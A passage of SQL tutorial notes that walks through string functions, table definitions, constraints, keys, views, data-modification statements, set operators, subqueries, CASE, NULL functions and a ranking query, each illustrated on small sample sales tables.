FROM Geography
WHERE store_name = 'Los Angeles';
Result:
's Angeles'
Example 2:
SELECT SUBSTR(store_name,2,4)
FROM Geography
WHERE store_name = 'San Diego';
Result:
'an D'
SQL Trim :
The TRIM function in SQL is used to remove specified prefix or suffix from a string. The most common pattern being removed is white spaces. This function is called differently in different databases:
• MySQL: TRIM(), RTRIM(), LTRIM()
• Oracle: RTRIM(), LTRIM()
• SQL Server: RTRIM(), LTRIM()
The syntax for these trim functions are:
TRIM([[LOCATION] [remstr] FROM ] str): [LOCATION] can be either LEADING, TRAILING, or BOTH. This function gets rid of the [remstr] pattern from either the beginning of the string or the end of the string, or both. If no [remstr] is specified, white spaces are removed.
LTRIM(str): Removes all white spaces from the beginning of the string.
RTRIM(str): Removes all white spaces at the end of the string.
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Example 1:
SELECT TRIM(' Sample ');
Result:
'Sample'
Example 2:
SELECT LTRIM(' Sample ');
Result:
'Sample '
Example 3:
SELECT RTRIM(' Sample ');
Result:
' Sample'
SQL Length ;
The Length function in SQL is used to get the length of a string. This function is called differently for the different databases:
• MySQL: LENGTH()
• Oracle: LENGTH()
• SQL Server: LEN()
The syntax for the Length function is as follows:
Length(str): Find the length of the string str.
Let's take a look at some examples. Assume we have the following table:
Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
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Example 1:
SELECT Length(store_name)
FROM Geography
WHERE store_name = 'Los Angeles';
Result:
11
Example 2:
SELECT region_name, Length(region_name)
FROM Geography;
Result:
region_name Length(region_name)
East 4
East 4
West 4
West 4
SQL Replace :
The Replace function in SQL is used to update the content of a string. The function call is REPLACE() for MySQL, Oracle, and SQL Server. The syntax of the Replace function is:
Replace(str1, str2, str3): In str1, find where str2 occurs, and replace it with str3.
Assume we have the following table:
Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
If we apply the following Replace function:
SELECT REPLACE(region_name, 'ast', 'astern')
FROM Geography;
Result:
region_name
Eastern
Eastern
West
West
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SQL Create Table Statement :
The SQL syntax for CREATE TABLE is
CREATE TABLE "table_name"
("column 1" "data_type_for_column_1",
"column 2" "data_type_for_column_2",
... )
So, if we are to create the customer table specified as above, we would type in
CREATE TABLE customer (First_Name char(50), Last_Name char(50), Address char(50),
City char(50), Country char(25), Birth_Date date)
SQL Constraint :
Common types of constraints include the following:
• NOT NULL Constraint: Ensures that a column cannot have NULL value.
• DEFAULT Constraint: Provides a default value for a column when none is specified.
• UNIQUE Constraint: Ensures that all values in a column are different.
• CHECK Constraint: Makes sure that all values in a column satisfy certain criteria.
• Primary Key Constraint: Used to uniquely identify a row in the table.
• Foreign Key Constraint: Used to ensure referential integrity of the data.
SQL NOT NULL Constraint :
By default, a column can hold NULL. If you not want to allow NULL value in a column, you will want to place a constraint on this column specifying that NULL is now not an allowable value.
For example, in the following statement,
CREATE TABLE Customer (SID integer NOT NULL,
Last_Name varchar (30) NOT NULL, First_Name varchar(30));
Columns "SID" and "Last_Name" cannot include NULL, while "First_Name" can include NULL.
An attempt to execute the following SQL statement,
INSERT INTO Customer (Last_Name, First_Name) values ('Wong','Ken');
will result in an error because this will lead to column "SID" being NULL, which violates the NOT NULL constraint on that column.
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SQL DEFAULT Constraint :
The DEFAULT constraint provides a default value to a column when the INSERT INTO statement does not provide a specific value. For example, if we create a table as below:
CREATE TABLE Student (Student_ID integer Unique, Last_Name varchar (30), First_Name varchar (30), Score DEFAULT 80);
and execute the following SQL statement,
INSERT INTO Student (Student_ID, Last_Name, First_Name) values ('10','Johnson','Rick');
The table will look like the following:
Student_ID Last_Name First_Name Score
10 Johnson Rick 80
Even though we didn't specify a value for the "Score" column in the INSERT INTO statement, it does get assigned the default value of 80 since we had already set 80 as the default value for this column.
SQL UNIQUE Constraint :
The UNIQUE constraint ensures that all values in a column are distinct.
For example, in the following CREATE TABLE statement,
CREATE TABLE Customer (SID integer Unique, Last_Name varchar (30), First_Name varchar(30));
column "SID" has a unique constraint, and hence cannot include duplicate values. Such constraint does not hold for columns "Last_Name" and "First_Name". So, if the table already contains the following rows:
SID Last_Name First_Name
1 Johnson Stella
2 James Gina
3 Aaron Ralph
Executing the following SQL statement,
INSERT INTO Customer values ('3','Lee','Grace');
will result in an error because '3' already exists in the SID column, thus trying to insert another row with that value violates the UNIQUE constraint.
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Please note that a column that is specified as a primary key must also be unique. At the same time, a column that's unique may or may not be a primary key. In addition, multiple UNIQUE constraints can be defined on a table.
SQL CHECK Constraint :
The CHECK constraint ensures that all values in a column satisfy certain conditions. Once defined, the database will only insert a new row or update an existing row if the new value satisfies the CHECK constraint. The CHECK constraint is used to ensure data quality
For example, in the following CREATE TABLE statement,
CREATE TABLE Customer (SID integer CHECK (SID > 0), Last_Name varchar (30), First_Name varchar(30));
Column "SID" has a constraint -- its value must only include integers greater than 0. So, attempting to execute the following statement,
INSERT INTO Customer values ('-3','Gonzales','Lynn');
will result in an error because the values for SID must be greater than 0.
Please note that the CHECK constraint does not get enforced by MySQL at this time.
Primary Key :
A primary key is used to uniquely identify each row in a table. It can either be part of the actual record itself , or it can be an artificial field (one that has nothing to do with the actual record). A primary key can consist of one or more fields on a table. When multiple fields are used as a primary key, they are called a composite key.
Primary keys can be specified either when the table is created (using CREATE TABLE) or by changing the existing table structure (using ALTER TABLE).
Below are examples for specifying a primary key when creating a table:
MySQL:
CREATE TABLE Customer (SID integer,
Last_Name varchar(30), First_Name varchar(30), PRIMARY KEY (SID));
Oracle:
CREATE TABLE Customer (SID integer PRIMARY KEY, Last_Name varchar(30), First_Name varchar(30));
SQL Server:
CREATE TABLE Customer (SID integer PRIMARY KEY, Last_Name varchar(30), First_Name varchar(30));
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Below are examples for specifying a primary key by altering a table:
MySQL:
ALTER TABLE Customer ADD PRIMARY KEY (SID);
Oracle:
ALTER TABLE Customer ADD PRIMARY KEY (SID);
SQL Server:
ALTER TABLE Customer ADD PRIMARY KEY (SID);
Note: Before using the ALTER TABLE command to add a primary key, you'll need to make sure that the field is defined as 'NOT NULL' -- in other words, NULL cannot be an accepted value for that field.
Foreign Key :
structure of these two tables will be as follows:
Table CUSTOMER
column name characteristic
SID Primary Key
Last_Name
First_Name
Table ORDERS
column name characteristic
Order_ID Primary Key
Order_Date
Customer_SID Foreign Key
Amount
In the above example, the Customer_SID column in the ORDERS table is a foreign key pointing to the SID column in the CUSTOMER table.
Below we show examples of how to specify the foreign key when creating the ORDERS table:
MySQL:
CREATE TABLE ORDERS (Order_ID integer, Order_Date date, Customer_SID integer, Amount double,
Primary Key (Order_ID),
Foreign Key (Customer_SID) references CUSTOMER(SID));
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Oracle:
CREATE TABLE ORDERS (Order_ID integer primary key, Order_Date date,
Customer_SID integer references CUSTOMER(SID), Amount double);
SQL Server:
CREATE TABLE ORDERS (Order_ID integer primary key, Order_Date datetime,
Customer_SID integer references CUSTOMER(SID), Amount double);
Below are examples for specifying a foreign key by altering a table. This assumes that the ORDERS table has been created, and the foreign key has not yet been put in:
MySQL:
ALTER TABLE ORDERS
ADD FOREIGN KEY (customer_sid) REFERENCES CUSTOMER(SID);
Oracle:
ALTER TABLE ORDERS
ADD (CONSTRAINT fk_orders1) FOREIGN KEY (customer_sid) REFERENCES CUSTOMER(SID);
SQL Server:
ALTER TABLE ORDERS
ADD FOREIGN KEY (customer_sid) REFERENCES CUSTOMER(SID);
SQL View :
A view is a virtual table. A view consists of rows and columns just like a table. The difference between a view and a table is that views are definitions built on top of other tables (or views), and do not hold data themselves. If data is changing in the underlying table, the same change is reflected in the view. A view can be built on top of a single table or multiple tables. It can also be built on top of another view. In the SQL Create View page, we will see how a view can be built.
Views offer the following advantages:
1. Ease of use: A view hides the complexity of the database tables from end users. Essentially we can think of views as a layer of abstraction on top of the database tables.
2. Space savings: Views takes very little space to store, since they do not store actual data.
3. Additional data security: Views can include only certain columns in the table so that only the non-sensitive columns are included and exposed to the end user. In addition, some databases allow views to have different security settings, thus hiding sensitive data from prying eyes.
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SQL Create View Statement :
Views can be considered as virtual tables. Generally speaking, a table has a set of definition, and it physically stores the data. A view also has a set of definitions, which is build on top of table(s) or other view(s), and it does not physically store the data.
The syntax for creating a view is as follows:
CREATE VIEW "VIEW_NAME" AS "SQL Statement"
"SQL Statement" can be any of the SQL statements we have discussed in this tutorial.
Let's use a simple example to illustrate. Say we have the following table:
TABLE Customer
(First_Name char(50), Last_Name char(50), Address char(50), City char(50), Country char(25), Birth_Date date)
and we want to create a view called V_Customer that contains only the First_Name, Last_Name, and Country columns from this table, we would type in,
CREATE VIEW V_Customer
AS SELECT First_Name, Last_Name, Country
FROM Customer
Now we have a view called V_Customer with the following structure:
View V_Customer
(First_Name char(50), Last_Name char(50), Country char(25))
We can also use a view to apply joins to two tables. In this case, users only see one view rather than two tables, and the SQL statement users need to issue becomes much simpler. Let's say we have the following two tables:
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
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Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
and we want to build a view that has sales by region information. We would issue the following SQL statement:
CREATE VIEW V_REGION_SALES
AS SELECT A1.region_name REGION, SUM(A2.Sales) SALES
FROM Geography A1, Store_Information A2
WHERE A1.store_name = A2.store_name
GROUP BY A1.region_name
This gives us a view, V_REGION_SALES, that has been defined to store sales by region records. If we want to find out the content of this view, we type in,
SELECT * FROM V_REGION_SALES
Result:
REGION SALES
East $700
West $2050
SQL Alter Table Statement :
Once a table is created in the database, there are many occasions where one may wish to change the structure of the table. Typical cases include the following:
- Add a column
- Drop a column
- Change a column name
- Change the data type for a column
Please note that the above is not an exhaustive list. There are other instances where ALTER TABLE is used to change the table structure, such as changing the primary key specification or adding a unique constraint to a column.
The SQL syntax for ALTER TABLE is
ALTER TABLE "table_name" [alter specification]
[alter specification] is dependent on the type of alteration we wish to perform. For the uses cited above, the [alter specification] statements are:
• Add a column: ADD "column 1" "data type for column 1"
• Drop a column: DROP "column 1"
• Change a column name: CHANGE "old column name" "new column name" "data type for new column name"
• Change the data type for a column: MODIFY "column 1" "new data type"
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Let's run through examples for each one of the above, using the "customer" table created in the CREATE TABLE section:
Table customer
Column Name Data Type
First_Name char(50)
Last_Name char(50)
Address char(50)
City char(50)
Country char(25)
Birth_Date date
First, we want to add a column called "Gender" to this table. To do this, we key in:
ALTER table customer add Gender char(1)
Resulting table structure:
Table customer
Column Name Data Type
First_Name char(50)
Last_Name char(50)
Address char(50)
City char(50)
Country char(25)
Birth_Date date
Gender char(1)
Next, we want to rename "Address" to "Addr". To do this, we key in,
ALTER table customer change Address Addr char(50)
Resulting table structure:
Table customer
Column Name Data Type
First_Name char(50)
Last_Name char(50)
Addr char(50)
City char(50)
Country char(25)
Birth_Date date
Gender char(1)
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Then, we want to change the data type for "Addr" to char(30). To do this, we key in,
ALTER table customer modify Addr char(30)
Resulting table structure:
Table customer
Column Name Data Type
First_Name char(50)
Last_Name char(50)
Addr char(30)
City char(50)
Country char(25)
Birth_Date date
Gender char(1)
Finally, we want to drop the column "Gender". To do this, we key in,
ALTER table customer drop Gender
Resulting table structure:
Table customer
Column Name Data Type
First_Name char(50)
Last_Name char(50)
Addr char(30)
City char(50)
Country char(25)
Birth_Date date
SQL Drop Table Statement :
Sometimes we may decide that we need to get rid of a table in the database for some reason. In fact, it would be problematic if we cannot do so because this could create a maintenance nightmare for the DBA's. Fortunately, SQL allows us to do it, as we can use the DROP TABLE command. The syntax for DROP TABLE is
DROP TABLE "table_name"
So, if we wanted to drop the table called customer that we created in the CREATE TABLE section, we simply type
DROP TABLE customer.
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SQL Truncate Table Statement :
Sometimes we wish to get rid of all the data in a table. One way of doing this is with DROP TABLE, which we saw in the last section. But what if we wish to simply get rid of the data but not the table itself? For this, we can use the TRUNCATE TABLE command. The syntax for TRUNCATE TABLE is
TRUNCATE TABLE "table_name"
So, if we wanted to truncate the table called customer that we created in SQL CREATE TABLE, we simply type,
TRUNCATE TABLE customer
SQL Insert Into Statement :
The syntax for inserting data into a table one row at a time is as follows:
INSERT INTO "table_name" ("column1", "column2", ...)
VALUES ("value1", "value2", ...)
Assuming that we have a table that has the following structure,
Table Store_Information
Column Name Data Type
store_name char(50)
Sales float
Date datetime
and now we wish to insert one additional row into the table representing the sales data for Los Angeles on January 10, 1999. On that day, this store had $900 in sales. We will hence use the following SQL script:
INSERT INTO Store_Information (store_name, Sales, Date)
VALUES ('Los Angeles', 900, 'Jan-10-1999')
The second type of INSERT INTO allows us to insert multiple rows into a table. Unlike the previous example, where we insert a single row by specifying its values for all columns, we now use a SELECT statement to specify the data that we want to insert into the table. If you are thinking whether this means that you are using information from another table, you are correct. The syntax is as follows:
INSERT INTO "table1" ("column1", "column2", ...)
SELECT "column3", "column4", ...
FROM "table2"
Note that this is the simplest form. The entire statement can easily contain WHERE, GROUP BY, and HAVING clauses, as well as table joins and aliases.
So for example, if we wish to have a table, Store_Information, that collects the sales information for year 1998, and you already know that the source data resides in the
Sales_Information table, we'll type in:
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INSERT INTO Store_Information (store_name, Sales, Date)
SELECT store_name, Sales, Date
FROM Sales_Information
WHERE Year(Date) = 1998
Here I have used the SQL Server syntax to extract the year information out of a date. Other relational databases will have different syntax. For example, in Oracle, you will use to_char(date,'yyyy')=1998.
SQL Update Statement :
The syntax for this is
UPDATE "table_name"
SET "column_1" = [new value]
WHERE {condition}
For example, say we currently have a table as below:
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
and we notice that the sales for Los Angeles on 01/08/1999 is actually $500 instead of $300, and that particular entry needs to be updated. To do so, we use the following SQL:
UPDATE Store_Information
SET Sales = 500
WHERE store_name = "Los Angeles"
AND Date = "Jan-08-1999"
The resulting table would look like
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $500 Jan-08-1999
Boston $700 Jan-08-1999
In this case, there is only one row that satisfies the condition in the WHERE clause. If there are multiple rows that satisfy the condition, all of them will be modified. If no WHERE clause is specified, all rows will be modified.
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It is also possible to UPDATE multiple columns at the same time. The syntax in this case would look like the following:
UPDATE "table_name"
SET column_1 = [value1], column_2 = [value2]
WHERE {condition}
SQL Delete From Statement ;
Sometimes we may wish to get rid of records from a table. To do so, we can use the DELETE FROM command. The syntax for this is
DELETE FROM "table_name"
WHERE {condition}
It is easiest to use an example. Say we currently have a table as below:
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
and we decide not to keep any information on Los Angeles in this table. To accomplish this, we type the following SQL:
DELETE FROM Store_Information
WHERE store_name = "Los Angeles"
Now the content of table would look like,
Table Store_Information
store_name Sales Date
San Diego $250 Jan-07-1999
Boston $700 Jan-08-1999
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Advanced SQL
In this section, we discuss the following SQL keywords and concepts:
• SQL UNION
• SQL UNION ALL
• SQL INTERSECT
• SQL MINUS
• SQL LIMIT
• SQL TOP
• SQL Subquery
• SQL EXISTS
• SQL CASE
The concept of NULL is uniquely important in SQL. Hence, we include a section on the use of NULL, as well as NULL-related functions:
• SQL NULL
• SQL ISNULL Function
• SQL IFNULL Function
• SQL NVL Function
• SQL Coalesce Function
• SQL NULLIF Function
In addition, we show how SQL can be used to accomplish some of the more complex operations:
• Rank
• Median
• Running Totals
• Percent To Total
• Cumulative Percent To Total
SQL Union :
The purpose of the SQL UNION command is to combine the results of two queries together. In this respect, UNION is somewhat similar to JOIN in that they are both used to related information from multiple tables. One restriction of UNION is that all corresponding columns need to be of the same data type. Also, when using UNION, only distinct values are selected (similar to SELECT DISTINCT).
The syntax is as follows: [SQL Statement 1] UNION
[SQL Statement 2]
Say we have the following two tables,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
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Table Internet_Sales
Date Sales
Jan-07-1999 $250
Jan-10-1999 $535
Jan-11-1999 $320
Jan-12-1999 $750
and we want to find out all the dates where there is a sales transaction. To do so, we use the following SQL statement:
SELECT Date FROM Store_Information
UNION
SELECT Date FROM Internet_Sales
Result:
Date
Jan-05-1999
Jan-07-1999
Jan-08-1999
Jan-10-1999
Jan-11-1999
Jan-12-1999
Please note that if we type "SELECT DISTINCT Date" for either or both of the SQL statement, we will get the same result set.
SQL Union All :
The purpose of the SQL UNION ALL command is also to combine the results of two queries together. The difference between UNION ALL and UNION is that, while UNION only selects distinct values, UNION ALL selects all values.
The syntax for UNION ALL is as follows:
[SQL Statement 1]
UNION ALL
[SQL Statement 2]
Let's use the same example as the previous section to illustrate the difference. Assume that we have the following two tables,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
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Table Internet_Sales
Date Sales
Jan-07-1999 $250
Jan-10-1999 $535
Jan-11-1999 $320
Jan-12-1999 $750
and we want to find out all the dates where there is a sales transaction at a store as well as all the dates where there is a sale over the internet. To do so, we use the following SQL statement:
SELECT Date FROM Store_Information
UNION ALL
SELECT Date FROM Internet_Sales
Result:
Date
Jan-05-1999
Jan-07-1999
Jan-08-1999
Jan-08-1999
Jan-07-1999
Jan-10-1999
Jan-11-1999
Jan-12-1999
SQL Intersect :
Similar to the UNION command, INTERSECT also operates on two SQL statements. The difference is that, while UNION essentially acts as an OR operator (value is selected if it appears in either the first or the second statement), the INTERSECT command acts as an AND operator (value is selected only if it appears in both statements).
The syntax is as follows:
[SQL Statement 1]
INTERSECT
[SQL Statement 2]
Let's assume that we have the following two tables,
MCA (35 )
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Table Internet_Sales
Date Sales
Jan-07-1999 $250
Jan-10-1999 $535
Jan-11-1999 $320
Jan-12-1999 $750
and we want to find out all the dates where there are both store sales and internet sales. To do so, we use the following SQL statement:
SELECT Date FROM Store_Information
INTERSECT
SELECT Date FROM Internet_Sales
Result:
Date
Jan-07-1999
Please note that the INTERSECT command will only return distinct values.
SQL Minus :
The MINUS operates on two SQL statements. It takes all the results from the first SQL statement, and then subtract out the ones that are present in the second SQL statement to get the final answer. If the second SQL statement includes results not present in the first SQL statement, such results are ignored.
The syntax is as follows: [SQL Statement 1] MINUS
[SQL Statement 2]
Let's continue with the same example: Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
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Table Internet_Sales
Date Sales
Jan-07-1999 $250
Jan-10-1999 $535
Jan-11-1999 $320
Jan-12-1999 $750
and we want to find out all the dates where there are store sales, but no internet sales. To do so, we use the following SQL statement:
SELECT Date FROM Store_Information
MINUS
SELECT Date FROM Internet_Sales
Result:
Date
Jan-05-1999
Jan-08-1999
"Jan-05-1999", "Jan-07-1999", and "Jan-08-1999" are the distinct values returned from "SELECT Date FROM Store_Information." "Jan-07-1999" is also returned from the second SQL statement, "SELECT Date FROM Internet_Sales," so it is excluded from the final result set.
Please note that the MINUS command will only return distinct values.
Some databases may use EXCEPT instead of MINUS. Please check the documentation for your specific database for the correct usage.
SQL Limit ;
Sometimes we may not want to retrieve all the records that satsify the critera specified in WHERE or HAVING clauses.
In MySQL, this is accomplished using the LIMIT keyword. The syntax for LIMIT is as follows:
[SQL Statement 1]
LIMIT [N]
where [N] is the number of records to be returned. Please note that the ORDER BY clause is usually included in the SQL statement. Without the ORDER BY clause, the results we get would be dependent on what the database default is.
For example, we may wish to show the two highest sales amounts in Table
Store_Information
MCA (37 )
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
we key in,
SELECT store_name, Sales, Date
FROM Store_Information
ORDER BY Sales DESC
LIMIT 2;
Result:
store_name Sales Date
Los Angeles $1500 Jan-05-1999
Boston $700 Jan-08-1999
SQL Top ;
In the previous section, we saw how LIMIT can be used to retrieve a subset of records in MySQL. In Microsoft SQL Server, this is accomplished using the TOP keyword.
The syntax for TOP is as follows:
SELECT TOP [TOP argument] "column_name"
FROM "table_name"
where [TOP argument] can be one of two possible types:
1. [N]: The first N records are returned.
2. [N'] PERCENT: The number of records corresponding to N'% of all qualifying records are returned.
For example, we may wish to show the two highest sales amounts in Table
Store_Information
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
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we key in,
SELECT TOP 2 store_name, Sales, Date
FROM Store_Information
ORDER BY Sales DESC;
Result:
store_name Sales Date
Los Angeles $1500 Jan-05-1999
Boston $700 Jan-08-1999
Alternatively, if we want to show the top 25% of sales amounts from Table
Store_Information, we key in,
SELECT TOP 25 PERCENT store_name, Sales, Date
FROM Store_Information
ORDER BY Sales DESC;
Result:
store_name Sales Date
Los Angeles $1500 Jan-05-1999
SQL Subquery
It is possible to embed a SQL statement within another. When this is done on the WHERE or the HAVING statements, we have a subquery construct.
The syntax is as follows:
SELECT "column_name1"
FROM "table_name1"
WHERE "column_name2" [Comparison Operator]
(SELECT "column_name3"
FROM "table_name2"
WHERE [Condition])
[Comparison Operator] could be equality operators such as =, >, <, >=, <=. It can also be a text operator such as "LIKE". The portion in red is considered as the "inner query", while the portion in green is considered as the "outer query".
Let's use the same example as we did to illustrate SQL joins:
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
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Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
and we want to use a subquery to find the sales of all stores in the West region. To do so, we use the following SQL statement:
SELECT SUM(Sales) FROM Store_Information WHERE Store_name IN
(SELECT store_name FROM Geography WHERE region_name = 'West')
Result:
SUM(Sales)
2050
In this example, instead of joining the two tables directly and then adding up only the sales amount for stores in the West region, we first use the subquery to find out which stores are in the West region, and then we sum up the sales amount for these stores.
In the above example, the inner query is first executed, and the result is then fed into the outer query. This type of subquery is called a simple subquery. If the inner query is dependent on the outer query, we will have a correlated subquery. An example of a correlated subquery is shown below:
SELECT SUM(a1.Sales) FROM Store_Information a1 WHERE a1.Store_name IN
(SELECT store_name FROM Geography a2 WHERE a2.store_name = a1.store_name)
Notice the WHERE clause in the inner query, where the condition involves a table from the outer query.
SQL Exists :
In the previous section, we used IN to link the inner query and the outer query in a subquery statement. IN is not the only way to do so -- one can use many operators such as >, <, or =. EXISTS is a special operator that we will discuss in this section.
EXISTS simply tests whether the inner query returns any row. If it does, then the outer query proceeds. If not, the outer query does not execute, and the entire SQL statement returns nothing.
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The syntax for EXISTS is:
SELECT "column_name1"
FROM "table_name1"
WHERE EXISTS
(SELECT *
FROM "table_name2"
WHERE [Condition])
Please note that instead of *, you can select one or more columns in the inner query. The effect will be identical.
Let's use the same example tables:
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Table Geography
region_name store_name
East Boston
East New York
West Los Angeles
West San Diego
and we issue the following SQL query:
SELECT SUM(Sales) FROM Store_Information WHERE EXISTS
(SELECT * FROM Geography WHERE region_name = 'West')
We'll get the following result:
SUM(Sales)
2750
At first, this may appear confusing, because the subquery includes the [region_name = 'West'] condition, yet the query summed up stores for all regions. Upon closer inspection, we find that since the subquery returns more than 0 row, the EXISTS condition is true, and the condition placed inside the inner query does not influence how the outer query is run.
MCA (41 )
SQL Case :
CASE is used to provide if-then-else type of logic to SQL. Its syntax is:
SELECT CASE ("column_name")
WHEN "condition1" THEN "result1"
WHEN "condition2" THEN "result2"
...
[ELSE "resultN"]
END
FROM "table_name"
"condition" can be a static value or an expression. The ELSE clause is optional.
In our Table Store_Information example,
Table Store_Information
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
if we want to multiply the sales amount from 'Los Angeles' by 2 and the sales amount from 'San Diego' by 1.5, we key in,
SELECT store_name, CASE store_name WHEN 'Los Angeles' THEN Sales * 2 WHEN 'San Diego' THEN Sales * 1.5 ELSE Sales
END
"New Sales", Date
FROM Store_Information
"New Sales" is the name given to the column with the CASE statement.
Result:
store_name New Sales Date
Los Angeles $3000 Jan-05-1999
San Diego $375 Jan-07-1999
San Francisco $300 Jan-08-1999
Boston $700 Jan-08-1999
MCA (42 )
SQL NULL :
In SQL, NULL means that data does not exist. NULL does not equal to 0 or an empty string. Both 0 and empty string represent a value, while NULL has no value.
Any mathematical operations performed on NULL will result in NULL. For example,
10 + NULL = NULL
Aggregate functions such as SUM, COUNT, AVG, MAX, and MIN exclude NULL values. This is not likely to cause any issues for SUM, MAX, and MIN. However, this can lead to confusion with AVG and COUNT.
Let's take a look at the following example:
Table Sales_Data
store_name Sales
Store A 300
Store B 200
Store C 100
Store D NULL
Below are the results for each aggregate function:
SUM (Sales) = 600
AVG (Sales) = 200
MAX (Sales) = 300
MIN (Sales) = 100
COUNT (Sales) = 3
Note that the AVG function counts only 3 rows (the NULL row is excluded), so the average is 600 / 3 = 200, not 600 / 4 = 150. The COUNT function also ignores the NULL rolw, which is why COUNT (Sales) = 3.
SQL ISNULL Function :
The ISNULL function is available in both SQL Server and MySQL. However, their uses are different:
SQL Server
In SQL Server, the ISNULL() function is used to replace NULL value with another value.
MCA (43 )
For example, if we have the following table,
Table Sales_Data
store_name Sales
Store A 300
Store B NULL
The following SQL,
SELECT SUM(ISNULL(Sales,100)) FROM Sales_Data;
returns 400. This is because NULL has been replaced by 100 via the ISNULL function.
MySQL
In MySQL, the ISNULL() function is used to test whether an expression is NULL. If the expression is NULL, this function returns 1. Otherwise, this function returns 0.
For example,
ISNULL(3*3) returns 0
ISNULL(3/0) returns
SQL IFNULL Function :
The IFNULL() function is available in MySQL, and not in SQL Server or Oracle. This function takes two arguments. If the first argument is not NULL, the function returns the first argument. Otherwise, the second argument is returned. This function is commonly used to replace NULL value with another value. It is similar to the NVL function in Oracle and the ISNULL Function in SQL Server.
For example, if we have the following table,
Table Sales_Data
store_name Sales
Store A 300
Store B NULL
The following SQL,
SELECT SUM(IFNULL(Sales,100)) FROM Sales_Data;
returns 400. This is because NULL has been replaced by 100 via the ISNULL function.
MCA (44 )
SQL NVL Function :
The NVL() function is available in Oracle, and not in MySQL or SQL Server. This function is used to replace NULL value with another value. It is similar to the IFNULL Function in MySQL and the ISNULL Function in SQL Server.
For example, if we have the following table,
Table Sales_Data
store_name Sales
Store A 300
Store B NULL
Store C 150
The following SQL,
SELECT SUM(NVL(Sales,100)) FROM Sales_Data;
returns 550. This is because NULL has been replaced by 100 via the ISNULL function, hence the sum of the 3 rows is 300 + 100 + 150 = 550.
SQL Coalesce Function ;
The COALESCE function in SQL returns the first non-NULL expression among its arguments.
It is the same as the following CASE statement:
SELECT CASE ("column_name")
WHEN "expression 1 is not NULL" THEN "expression 1" WHEN "expression 2 is not NULL" THEN "expression 2"
...
[ELSE "NULL"] END
FROM "table_name"
For examples, say we have the following table,
Table Contact_Info
Name Business_Phone Cell_Phone Home_Phone
Jeff 531-2531 622-7813 565-9901
Laura NULL 772-5588 312-4088
Peter NULL NULL 594-7477
and we want to find out the best way to contact each person according to the following rules:
1. If a person has a business phone, use the business phone number.
MCA (45 )
2. If a person does not have a business phone and has a cell phone, use the cell phone number.
3. If a person does not have a business phone, does not have a cell phone, and has a home phone, use the home phone number.
We can use the COALESCE function to achieve our goal:
SELECT Name, COALESCE(Business_Phone, Cell_Phone, Home_Phone)
Contact_Phone
FROM Contact_Info;
Result:
Name Contact_Phone
Jeff 531-2531
Laura 772-5588
Peter 594-7477
SQL NULLIF Function ;
The NULLIF function takes two arguments. If the two arguments are equal, then NULL is returned. Otherwise, the first argument is returned.
It is the same as the following CASE statement:
SELECT CASE ("column_name")
WHEN "expression 1 = expression 2 " THEN "NULL" [ELSE "expression 1"]
END
FROM "table_name"
For example, let's say we have a table that tracks actual sales and sales goal as below: Table Sales_Data
Store_name Actual Goal
Store A 50 50
Store B 40 50
Store C 25 30
We want to show NULL if actual sales is equal to sales goal, and show actual sales if the two are different. To do this, we issue the following SQL statement:
SELECT Store_name, NULLIF(Actual,Goal) FROM Sales_Data;
The result is:
Store_name NULLIF(Actual,Goal)
Store A NULL
Store B 40
Store C 25
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SQL Rank :
Displaying the rank associated with each row is a common request, and there is no straightforward way to do so in SQL. To display rank in SQL, the idea is to do a self-join, list out the results in order, and do a count on the number of records that's listed ahead of (and including) the record of interest. Let's use an example to illustrate. Say we have the following table,
Table Total_Sales
Name Sales
John 10
Jennifer 15
Stella 20
Sophia 40
Greg 50
Jeff 20
we would type,
SELECT a1.Name, a1.Sales, COUNT(a2.sales) Sales_Rank FROM Total_Sales a1, Total_Sales a2
WHERE a1.Sales <= a2.Sales or (a1.Sales=a2.Sales and a1.Name = a2.Name) GROUP BY a1.Name, a1.Sales
ORDER BY a1.Sales DESC, a1.Name DESC;
Result:
Name Sales Sales_Rank
Greg 50 1
Sophia 40 2
Stella 20 3
Jeff 20 3
Jennifer 15 5
John 10 6
Let's focus on the WHERE clause. The first part of the clause, (a1.Sales <= a2.Sales), makes sure we are only counting the number of occurrences where the value in the Sales column is less than or equal to itself. If there are no duplicate values in the Sales column, this portion of the WHERE clause by itself would be sufficient to generate the correct ranking.
